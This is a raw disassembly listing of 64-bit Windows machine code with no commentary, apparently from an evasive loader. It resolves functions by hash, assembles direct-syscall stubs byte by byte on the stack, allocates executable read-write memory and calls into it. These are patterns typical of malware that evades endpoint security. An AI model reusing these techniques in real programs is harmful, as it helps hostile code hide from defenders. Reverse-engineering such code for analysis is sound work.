lea rcx, [rsp + 0x20a0]
call fcn.14009b310
mov qword [rsp + 0x95c8], rax
lea rax, [rsp + 0xf120]
mov rdi, rax
mov rsi, qword [rsp + 0x95c0]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf130]
lea rcx, [rsp + 0xf120]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf130]
mov rcx, qword [rsp + 0x95c8]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x95d0]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x20a8], eax
lea rax, [rsp + 0xd060]
mov qword [rsp + 0x95e8], rax
lea rax, [rsp + 0x20a4]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x20a4]
call fcn.14009b310
mov qword [rsp + 0x95e0], rax
lea rax, [rsp + 0xf140]
mov rdi, rax
mov rsi, qword [rsp + 0x95d8]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf150]
lea rcx, [rsp + 0xf140]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf150]
mov rcx, qword [rsp + 0x95e0]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x95e8]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x20ac], eax
mov r8d, dword [rsp + 0x20a8]
mov edx, dword [rsp + 0x20ac]
lea rcx, [rsp + 0x3e90]
call fcn.140191150
mov qword [rsp + 0x12f0], rax
jmp 0x14013528d
mov rax, qword [rsp + 0x3e88]
mov rax, qword [rax]
mov qword [rsp + 0x12f0], rax
jmp 0x14013528d
mov qword [rsp + 0x12f0], 0
mov rax, qword [rsp + 0x12f0]
mov qword [rsp + 0x3e90], rax
lea rcx, [rsp + 0x3e90]
call fcn.1400a2c10
mov qword [rsp + 0x95f0], rax
mov eax, dword [rsp + 0x64d8]
mov dword [rsp + 0x20b0], eax
mov rax, qword [rsp + 0x95f0]
mov qword [rsp + 0x95f8], rax
mov eax, dword [rsp + 0x20b0]
mov dword [rsp + 0x20b8], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xf160]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9600], rax
lea r9, [rsp + 0x95f8]
lea r8, [rsp + 0x20b8]
lea rdx, [rsp + 0x12698]
mov rcx, qword [rsp + 0x9600]
call fcn.140098320
lea rcx, [rsp + 0xf160]
call fcn.1400a0f80
lea rcx, [rsp + 0x3e90]
call fcn.1400a2c10
mov qword [rsp + 0x9608], rax
mov rax, qword [rsp + 0x9608]
mov eax, dword [rax + 4]
mov dword [rsp + 0x20c0], eax
mov eax, dword [rsp + 0x20c0]
mov dword [rsp + 0x64dc], eax
lea rax, [rsp + 0x64e0]
mov qword [rsp + 0x9610], rax
mov eax, dword [rsp + 0x64dc]
mov dword [rsp + 0x20c8], eax
mov rax, qword [rsp + 0x9610]
add rax, 0x11
mov qword [rsp + 0x9618], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0x9618]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x20c8]
mov dword [rax], ecx
lea rax, [rsp + 0x64e0]
mov qword [rsp + 0x608], rax
mov rax, qword [rsp + 0x608]
add rax, 0x10
mov qword [rsp + 0x115a8], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0x9620], rax
mov qword [rsp + 0x4790], 0
mov qword [rsp + 0x9628], 0xd
mov rax, qword [rsp + 0x9620]
mov qword [rsp + 0x9630], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x9628]
xor r8d, r8d
lea rdx, [rsp + 0x4790]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0x9630]
mov dword [rsp + 0x20d0], eax
cmp dword [rsp + 0x20d0], 0
jl 0x140135471
mov rax, qword [rsp + 0x4790]
mov qword [rsp + 0x4798], rax
jmp 0x14013547d
mov qword [rsp + 0x4798], 0
mov rax, qword [rsp + 0x4798]
mov qword [rsp + 0x9638], rax
mov rax, qword [rsp + 0x608]
mov rcx, qword [rsp + 0x9638]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x608]
cmp qword [rax + 8], 0
jne 0x1401354b2
jmp 0x1401354f6
mov rax, qword [rsp + 0x608]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x608]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x608]
mov rcx, qword [rsp + 0x608]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x64e0]
mov qword [rsp + 0x9658], rax
mov r9, qword [rsp + 0x9640]
mov r8, qword [rsp + 0x9648]
mov rdx, qword [rsp + 0x9650]
mov ecx, dword [rsp + 0x20d4]
call qword [rsp + 0x9658]
mov dword [rsp + 0x20d8], eax
lea rcx, [rsp + 0x64d8]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x20d8]
mov dword [rsp + 0x15c], eax
cmp dword [rsp + 0x15c], 0xc0000004
jne 0x14013854f
cmp qword [rsp + 0x178], 0
je 0x14013654f
mov qword [rsp + 0x9660], 0
mov dword [rsp + 0x211c], 0x8000
lea rax, [rsp + 0x9660]
mov qword [rsp + 0x9670], rax
lea rax, [rsp + 0x178]
mov qword [rsp + 0x9678], rax
mov qword [rsp + 0x9680], 0xffffffffffffffff
mov dword [rsp + 0x20dc], 0x4344a267
mov eax, dword [rsp + 0x20dc]
mov dword [rsp + 0x20e0], eax
lea rcx, [rsp + 0x20e0]
call fcn.1400a2c20
mov dword [rsp + 0x6500], eax
mov dword [rsp + 0x6504], 0
lea rax, [rsp + 0x6508]
mov qword [rsp + 0x9668], rax
mov dword [rsp + 0x2118], 0x49
mov dword [rsp + 0x2114], 0x89
mov dword [rsp + 0x2110], 0xca
mov dword [rsp + 0x210c], 0x48
mov dword [rsp + 0x2108], 0xc7
mov dword [rsp + 0x2104], 0xc0
mov dword [rsp + 0x2100], 0x3f
mov dword [rsp + 0x20fc], 0x10
mov dword [rsp + 0x20f8], 0
mov dword [rsp + 0x20f4], 0
mov dword [rsp + 0x20f0], 0xf
mov dword [rsp + 0x20ec], 5
mov dword [rsp + 0x20e8], 0xc3
lea rax, [rsp + 0x20e8]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x20ec]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x20f0]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x20f4]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x20f8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x20fc]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x2100]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x2104]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x2108]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x210c]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2110]
lea r8, [rsp + 0x2114]
lea rdx, [rsp + 0x2118]
mov rcx, qword [rsp + 0x9668]
call fcn.14008f900
mov byte [rsp + 0x2dd], 1
mov byte [rsp + 0x2de], 0
movsxd rax, dword [rsp + 0x211c]
mov qword [rsp + 0x97b8], rax
mov byte [rsp + 0x2df], 0
mov byte [rsp + 0x2e0], 0
mov rax, qword [rsp + 0x9670]
mov qword [rsp + 0x97c0], rax
mov byte [rsp + 0x2e1], 0
mov byte [rsp + 0x2e2], 0
mov rax, qword [rsp + 0x9678]
mov qword [rsp + 0x97c8], rax
mov byte [rsp + 0x2e3], 0
mov byte [rsp + 0x2e4], 0
mov rax, qword [rsp + 0x9680]
mov qword [rsp + 0x97d0], rax
mov eax, dword [rsp + 0x6500]
mov dword [rsp + 0x2120], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xf170]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9688], rax
lea r8, [rsp + 0x2120]
lea rdx, [rsp + 0x47a0]
mov rcx, qword [rsp + 0x9688]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9690], rax
lea rdx, [rsp + 0x115b0]
mov rcx, qword [rsp + 0x9690]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x47a0]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x140135851
mov qword [rsp + 0x47a8], 0
jmp 0x14013586a
lea rcx, [rsp + 0x47a0]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x47a8], rax
mov rax, qword [rsp + 0x47a8]
mov qword [rsp + 0x9698], rax
lea rcx, [rsp + 0xf170]
call fcn.1400a0f10
mov rax, qword [rsp + 0x9698]
mov qword [rsp + 0x47b0], rax
cmp qword [rsp + 0x47b0], 0
je 0x1401358c7
mov rax, qword [rsp + 0x47b0]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2128], eax
mov eax, dword [rsp + 0x2128]
mov dword [rsp + 0x6504], eax
jmp 0x140136355
lea rax, [rsp + 0xd064]
mov qword [rsp + 0x96a0], rax
xor edx, edx
mov rcx, qword [rsp + 0x96a0]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x212c], eax
lea rax, [rsp + 0xd068]
mov qword [rsp + 0x96a8], rax
mov edx, dword [rsp + 0x6500]
mov rcx, qword [rsp + 0x96a8]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2130], eax
mov eax, dword [rsp + 0x212c]
mov dword [rsp + 0xa78], eax
mov eax, dword [rsp + 0x2130]
mov dword [rsp + 0xa90], eax
xor edx, edx
lea rcx, [rsp + 0x2134]
call fcn.14009b2f0
lea rdx, [rsp + 0x2134]
lea rcx, [rsp + 0xa90]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x140135974
mov qword [rsp + 0x1300], 0
jmp 0x140136273
mov byte [rsp + 0x2e5], 1
mov qword [rsp + 0x6eb0], 0
mov qword [rsp + 0x6eb8], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x3e98], rax
mov eax, 1
test eax, eax
je 0x1401359c6
mov rax, qword [rsp + 0x3e98]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x47b8], rax
jmp 0x1401359d9
mov rax, qword [rsp + 0x3e98]
mov rax, qword [rax]
mov qword [rsp + 0x47b8], rax
mov rax, qword [rsp + 0x47b8]
mov qword [rsp + 0x6eb0], rax
mov rax, qword [rsp + 0x3e98]
mov qword [rsp + 0x6eb8], rax
lea rax, [rsp + 0x6eb0]
mov qword [rsp + 0x47c0], rax
lea rdx, [rsp + 0x12f8]
mov rcx, qword [rsp + 0x47c0]
call fcn.14018efb0
lea rdx, [rsp + 0x96b0]
mov rcx, qword [rsp + 0x47c0]
call fcn.140190a30
jmp 0x140135a48
mov rax, qword [rsp + 0x12f8]
mov rax, qword [rax]
mov qword [rsp + 0x12f8], rax
mov rax, qword [rsp + 0x96b0]
cmp qword [rsp + 0x12f8], rax
je 0x140135a67
mov dword [rsp + 0xa74], 1
jmp 0x140135a72
mov dword [rsp + 0xa74], 0
movzx eax, byte [rsp + 0xa74]
test eax, eax
je 0x140136267
xor edx, edx
mov rcx, qword [rsp + 0x12f8]
call fcn.140096d90
mov qword [rsp + 0x96b8], rax
lea rax, [rsp + 0x96b8]
mov qword [rsp + 0x47c8], rax
xor edx, edx
lea rcx, [rsp + 0x2138]
call fcn.14009b2f0
lea rdx, [rsp + 0x2138]
lea rcx, [rsp + 0xa78]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140135d12
mov rax, qword [rsp + 0x47c8]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x96c0], rax
lea rdx, [rsp + 0x126a8]
mov rcx, qword [rsp + 0x96c0]
call fcn.14019acf0
lea rcx, [rsp + 0xf180]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xa78]
mov dword [rsp + 0x213c], eax
lea rax, [rsp + 0xd290]
lea rcx, [rsp + 0xf180]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x213c]
mov dword [rsp + 0xa80], eax
lea rax, [rsp + 0x2140]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2140]
call fcn.14009b310
mov qword [rsp + 0x96c8], rax
lea rax, [rsp + 0xf190]
lea rcx, [rsp + 0xd290]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf1a0]
lea rcx, [rsp + 0xf190]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf1a0]
mov rcx, qword [rsp + 0x96c8]
call fcn.140097890
mov dword [rsp + 0x2148], eax
lea rcx, [rsp + 0xd290]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0x96d0], rax
mov r9, qword [rsp + 0x96d0]
xor r8d, r8d
lea rdx, [rsp + 0xf1b0]
lea rcx, [rsp + 0xd290]
call fcn.14019ab70
lea rax, [rsp + 0x2144]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2144]
call fcn.14009b310
mov qword [rsp + 0x96d8], rax
lea rax, [rsp + 0xf1c0]
lea rcx, [rsp + 0xf1b0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf1d0]
lea rcx, [rsp + 0xf1c0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf1d0]
mov rcx, qword [rsp + 0x96d8]
call fcn.140097890
mov dword [rsp + 0x2150], eax
mov edx, dword [rsp + 0x2148]
lea rcx, [rsp + 0x214c]
call fcn.14009b2f0
lea rdx, [rsp + 0x214c]
lea rcx, [rsp + 0xa80]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140135cf6
mov edx, dword [rsp + 0x2150]
lea rcx, [rsp + 0x2154]
call fcn.14009b2f0
lea rdx, [rsp + 0x2154]
lea rcx, [rsp + 0xa80]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140135cf6
mov dword [rsp + 0xa88], 1
jmp 0x140135d01
mov dword [rsp + 0xa88], 0
movzx eax, byte [rsp + 0xa88]
test eax, eax
je 0x140135d12
jmp 0x140135a35
mov rax, qword [rsp + 0x47c8]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x47d0], rax
mov rax, qword [rsp + 0x47d0]
mov qword [rsp + 0x4458], rax
mov rax, qword [rsp + 0x47d0]
mov qword [rsp + 0x96e0], rax
mov rax, qword [rsp + 0x96e0]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x96e8], rax
mov rax, qword [rsp + 0x96e8]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x96f0], rax
mov eax, dword [rsp + 0x96f0]
add rax, qword [rsp + 0x4458]
mov qword [rsp + 0x96f8], rax
mov rax, qword [rsp + 0x96f8]
mov qword [rsp + 0x4460], rax
lea rdx, [rsp + 0xa90]
lea rcx, [rsp + 0xd06c]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11cc8]
lea rcx, [rsp + 0x4458]
call fcn.140097040
lea rdx, [rsp + 0x13830]
lea rcx, [rsp + 0x4458]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11cc8]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x140135dfe
jmp 0x140135a35
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x140135e81
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11cd8]
mov qword [rsp + 0x47d8], rax
mov rcx, qword [rsp + 0x47d8]
call fcn.140097960
mov qword [rsp + 0x115b8], rax
mov rcx, qword [rsp + 0x47d8]
call fcn.140097950
mov qword [rsp + 0x3ea8], rax
mov rax, qword [rsp + 0x3ea8]
mov rax, qword [rax]
mov qword [rsp + 0x47f0], rax
mov rax, qword [rsp + 0x4458]
mov qword [rsp + 0x9700], rax
mov rax, qword [rsp + 0x9700]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x9708], rax
mov rax, qword [rsp + 0x9708]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x47e0], rax
mov eax, dword [rsp + 0x47e0]
add rax, qword [rsp + 0x4458]
mov qword [rsp + 0x47e8], rax
mov eax, dword [rsp + 0x47e4]
mov rcx, qword [rsp + 0x47e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9710], rax
mov rax, qword [rsp + 0x47e8]
cmp qword [rsp + 0x47f0], rax
jb 0x140135f73
mov rax, qword [rsp + 0x9710]
cmp qword [rsp + 0x47f0], rax
jae 0x140135f73
mov dword [rsp + 0xa98], 1
jmp 0x140135f7e
mov dword [rsp + 0xa98], 0
movzx eax, byte [rsp + 0xa98]
mov byte [rsp + 0xec], al
movzx eax, byte [rsp + 0xec]
test eax, eax
je 0x14013624d
mov rax, qword [rsp + 0x3ea8]
mov rax, qword [rax]
mov qword [rsp + 0x9718], rax
mov rax, qword [rsp + 0x9718]
mov qword [rsp + 0x9720], rax
lea rax, [rsp + 0x126b8]
mov qword [rsp + 0x9728], rax
mov rdx, qword [rsp + 0x9720]
mov rcx, qword [rsp + 0x9728]
call fcn.140095590
lea rcx, [rsp + 0x6ec0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6ec0]
call fcn.140191090
mov qword [rsp + 0x3ea0], rax
cmp qword [rsp + 0x3ea0], 0xffffffffffffffff
je 0x140136088
mov r9, qword [rsp + 0x3ea0]
xor r8d, r8d
lea rdx, [rsp + 0xf1f0]
lea rcx, [rsp + 0x6ec0]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3ea0]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xf1e0]
lea rcx, [rsp + 0x6ec0]
call fcn.14019aaa0
lea r8, [rsp + 0xf1e0]
lea rdx, [rsp + 0xf1f0]
lea rcx, [rsp + 0x11170]
call fcn.14008f7e0
jmp 0x1401360c3
lea rax, [rsp + 0x6ec0]
mov qword [rsp + 0x9730], rax
lea rcx, [rsp + 0xf200]
call fcn.140099fb0
lea r8, [rsp + 0xf200]
mov rdx, qword [rsp + 0x9730]
lea rcx, [rsp + 0x11170]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x11170]
call fcn.140097960
mov qword [rsp + 0x9738], rax
lea rcx, [rsp + 0x11170]
call fcn.140097950
mov qword [rsp + 0x9750], rax
lea rax, [rsp + 0xd070]
mov qword [rsp + 0x9748], rax
lea rax, [rsp + 0x2158]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2158]
call fcn.14009b310
mov qword [rsp + 0x9740], rax
lea rax, [rsp + 0xf210]
mov rdi, rax
mov rsi, qword [rsp + 0x9738]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf220]
lea rcx, [rsp + 0xf210]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf220]
mov rcx, qword [rsp + 0x9740]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x9748]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2160], eax
lea rax, [rsp + 0xd074]
mov qword [rsp + 0x9760], rax
lea rax, [rsp + 0x215c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x215c]
call fcn.14009b310
mov qword [rsp + 0x9758], rax
lea rax, [rsp + 0xf230]
mov rdi, rax
mov rsi, qword [rsp + 0x9750]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf240]
lea rcx, [rsp + 0xf230]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf240]
mov rcx, qword [rsp + 0x9758]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x9760]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2164], eax
mov r8d, dword [rsp + 0x2160]
mov edx, dword [rsp + 0x2164]
lea rcx, [rsp + 0x3eb0]
call fcn.140191150
mov qword [rsp + 0x1300], rax
jmp 0x140136273
mov rax, qword [rsp + 0x3ea8]
mov rax, qword [rax]
mov qword [rsp + 0x1300], rax
jmp 0x140136273
mov qword [rsp + 0x1300], 0
mov rax, qword [rsp + 0x1300]
mov qword [rsp + 0x3eb0], rax
lea rcx, [rsp + 0x3eb0]
call fcn.1400a2c10
mov qword [rsp + 0x9768], rax
mov eax, dword [rsp + 0x6500]
mov dword [rsp + 0x2168], eax
mov rax, qword [rsp + 0x9768]
mov qword [rsp + 0x9770], rax
mov eax, dword [rsp + 0x2168]
mov dword [rsp + 0x2170], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xf250]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9778], rax
lea r9, [rsp + 0x9770]
lea r8, [rsp + 0x2170]
lea rdx, [rsp + 0x126c8]
mov rcx, qword [rsp + 0x9778]
call fcn.140098320
lea rcx, [rsp + 0xf250]
call fcn.1400a0f80
lea rcx, [rsp + 0x3eb0]
call fcn.1400a2c10
mov qword [rsp + 0x9780], rax
mov rax, qword [rsp + 0x9780]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2178], eax
mov eax, dword [rsp + 0x2178]
mov dword [rsp + 0x6504], eax
lea rax, [rsp + 0x6508]
mov qword [rsp + 0x9788], rax
mov eax, dword [rsp + 0x6504]
mov dword [rsp + 0x2180], eax
mov rax, qword [rsp + 0x9788]
add rax, 0x11
mov qword [rsp + 0x9790], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0x9790]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x2180]
mov dword [rax], ecx
lea rax, [rsp + 0x6508]
mov qword [rsp + 0x610], rax
mov rax, qword [rsp + 0x610]
add rax, 0x10
mov qword [rsp + 0x115c0], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0x9798], rax
mov qword [rsp + 0x47f8], 0
mov qword [rsp + 0x97a0], 0xd
mov rax, qword [rsp + 0x9798]
mov qword [rsp + 0x97a8], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x97a0]
xor r8d, r8d
lea rdx, [rsp + 0x47f8]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0x97a8]
mov dword [rsp + 0x2188], eax
cmp dword [rsp + 0x2188], 0
jl 0x140136457
mov rax, qword [rsp + 0x47f8]
mov qword [rsp + 0x4800], rax
jmp 0x140136463
mov qword [rsp + 0x4800], 0
mov rax, qword [rsp + 0x4800]
mov qword [rsp + 0x97b0], rax
mov rax, qword [rsp + 0x610]
mov rcx, qword [rsp + 0x97b0]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x610]
cmp qword [rax + 8], 0
jne 0x140136498
jmp 0x1401364dc
mov rax, qword [rsp + 0x610]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x610]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x610]
mov rcx, qword [rsp + 0x610]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6508]
mov qword [rsp + 0x97d8], rax
mov r9, qword [rsp + 0x97b8]
mov r8, qword [rsp + 0x97c0]
mov rdx, qword [rsp + 0x97c8]
mov rcx, qword [rsp + 0x97d0]
call qword [rsp + 0x97d8]
mov dword [rsp + 0x218c], eax
lea rcx, [rsp + 0x6500]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x218c]
mov dword [rsp + 0x2190], eax
cmp dword [rsp + 0x2190], 0
jge 0x14013654f
mov dword [rsp + 0x9c], 0
jmp 0x140141d78
mov qword [rsp + 0x178], 0
mov eax, dword [rsp + 0x158]
mov qword [rsp + 0x97e0], rax
mov dword [rsp + 0x21d4], 4
mov dword [rsp + 0x21d8], 0x3000
lea rax, [rsp + 0x97e0]
mov qword [rsp + 0x97f0], rax
mov dword [rsp + 0x21dc], 0
lea rax, [rsp + 0x178]
mov qword [rsp + 0x97f8], rax
mov qword [rsp + 0x9800], 0xffffffffffffffff
mov dword [rsp + 0x2194], 0xdab74943
mov eax, dword [rsp + 0x2194]
mov dword [rsp + 0x2198], eax
lea rcx, [rsp + 0x2198]
call fcn.1400a2c20
mov dword [rsp + 0x6528], eax
mov dword [rsp + 0x652c], 0
lea rax, [rsp + 0x6530]
mov qword [rsp + 0x97e8], rax
mov dword [rsp + 0x21d0], 0x49
mov dword [rsp + 0x21cc], 0x89
mov dword [rsp + 0x21c8], 0xca
mov dword [rsp + 0x21c4], 0x48
mov dword [rsp + 0x21c0], 0xc7
mov dword [rsp + 0x21bc], 0xc0
mov dword [rsp + 0x21b8], 0x3f
mov dword [rsp + 0x21b4], 0x10
mov dword [rsp + 0x21b0], 0
mov dword [rsp + 0x21ac], 0
mov dword [rsp + 0x21a8], 0xf
mov dword [rsp + 0x21a4], 5
mov dword [rsp + 0x21a0], 0xc3
lea rax, [rsp + 0x21a0]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x21a4]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x21a8]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x21ac]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x21b0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x21b4]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x21b8]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x21bc]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x21c0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x21c4]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x21c8]
lea r8, [rsp + 0x21cc]
lea rdx, [rsp + 0x21d0]
mov rcx, qword [rsp + 0x97e8]
call fcn.14008f900
mov byte [rsp + 0x2e6], 1
mov byte [rsp + 0x2e7], 0
movsxd rax, dword [rsp + 0x21d4]
mov qword [rsp + 0x9938], rax
mov byte [rsp + 0x2e8], 1
mov byte [rsp + 0x2e9], 0
movsxd rax, dword [rsp + 0x21d8]
mov qword [rsp + 0x9940], rax
mov byte [rsp + 0x2ea], 0
mov byte [rsp + 0x2eb], 0
mov rax, qword [rsp + 0x97f0]
mov qword [rsp + 0x9948], rax
mov byte [rsp + 0x2ec], 1
mov byte [rsp + 0x2ed], 0
movsxd rax, dword [rsp + 0x21dc]
mov qword [rsp + 0x9950], rax
mov byte [rsp + 0x2ee], 0
mov byte [rsp + 0x2ef], 0
mov rax, qword [rsp + 0x97f8]
mov qword [rsp + 0x9958], rax
mov byte [rsp + 0x2f0], 0
mov byte [rsp + 0x2f1], 0
mov rax, qword [rsp + 0x9800]
mov qword [rsp + 0x9960], rax
mov eax, dword [rsp + 0x6528]
mov dword [rsp + 0x21e0], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xf260]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9808], rax
lea r8, [rsp + 0x21e0]
lea rdx, [rsp + 0x4808]
mov rcx, qword [rsp + 0x9808]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9810], rax
lea rdx, [rsp + 0x115c8]
mov rcx, qword [rsp + 0x9810]
call fcn.140190560
